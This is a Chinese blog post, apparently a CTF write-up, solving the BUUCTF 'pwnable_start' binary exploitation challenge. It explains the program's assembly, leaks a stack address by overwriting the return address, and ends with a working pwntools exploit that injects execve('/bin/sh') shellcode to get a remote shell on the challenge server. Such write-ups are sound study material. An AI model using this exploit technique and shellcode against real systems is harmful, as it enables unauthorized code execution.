BUUCTF pwnable_start心路历程

2020/12/01 12:45
阅读数 595

记录第一篇pwn的做题心路历程
这道题真的值得好好研究一下,感觉同时学了一下汇编

BUUCTF pwnable_start

我们把题目下载下来,在ubuntu里面进行一下检查,checksec+文件路径,没有开启NX保护,那直接就可以进行ret2shellcode了

ret2shellcode:程序没有调用system函数,也就是没有后门,需要自己写shellcode,让程序执行这段shellcode,拿到shell。

在这里插入图片描述
看起来是一道非常其简单的题,接下来放到IDA里面查看一下:
在这里插入图片描述
我们来分段进行分析,首先 系统执行了如下命令:

程序push了一个esp,push了一个exit(退出程序)

紧接着执行了如下指令,这里说明一下xor eax,eax的值等于0,在这里程序将这四个寄存器的值都清空为0了
在这里插入图片描述
这里push了共计为20(0x14)个字节,至于具体是什么我也不知道
在这里插入图片描述
这里我们可以看到调用的是write函数(al=4),函数布局为write(fd,addr,len),write函数调用寄存器的顺序为ebx,ecx,edx,可以看到此时的addr为esp指针指向的值,也就是说ecx的值为addr

这里调用的是read函数(al=3)read ( fd , addr , length ) ,read的寄存器调用顺序同write相同,fd的值经过异或变为0,我们读入了长度为0x3c长度的内容
在这里插入图片描述
最后esp-14(回到了exit的位置上)并退出,因为esp指针从一开始之后位置就没有改变过了,而之前push的那一串字符串的长度刚好就是0x14,当前我们的下一步操作需要泄露栈的地址,所以我们就要第一次通过溢出来将返回地址的部分覆盖为这里:0x8048087

这样的话程序就会重新执行write函数,但是此时函数的参数addr就变成了esp所指的位置,也就达到了泄露地址的目的
所以我们的第一步就是构造并覆盖返回地址重新执行一次write函数,让他将stack的地址泄露出来
在这里插入图片描述
此时是将返回地址修改完了,紧接着它就会将esp所在的地址打印出来,也就达到了泄露的目的
在这里插入图片描述
已经泄露出来了,之后因为我们已经知道了这个写入的位置了,在此处我们写入我们的shellcode,于是构造如图片中所示的payload:
在这里插入图片描述
因为我们已知最开始供我们push进去的字符串的字节数为0x14个,所以我们此时在stack_addr处加上这个偏移量手动降低这个栈,在最后程序本该执行一个add esp,14这个指令,所以我们在payload里面手动来模拟程序继续运行加上这个偏移,这个时候就会返回到真实的stack的位置上,最后在后面拼接上一个shellcode程序就会执行我们准备好的shell
最后附上exp:
























from pwn import *
r = remote("node3.buuoj.cn",25820)
offset = 0x14
second_write = 0x08048087
payload = "A" * offset + p32(second_write)
r.sendafter(":",payload)
stack_addr = u32(r.recv(4))
print("stack_addr ---> ",hex(stack_addr))
shellcode= '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload= 'a' * offset + p32(stack_addr + offset) + shellcode
r.send(payload)
r.interactive()

最后附上运行结果
在这里插入图片描述
于是得到了flag

展开阅读全文
打赏
0
0 收藏
分享
加载中
更多评论
打赏
0 评论
0 收藏
0
分享
返回顶部
顶部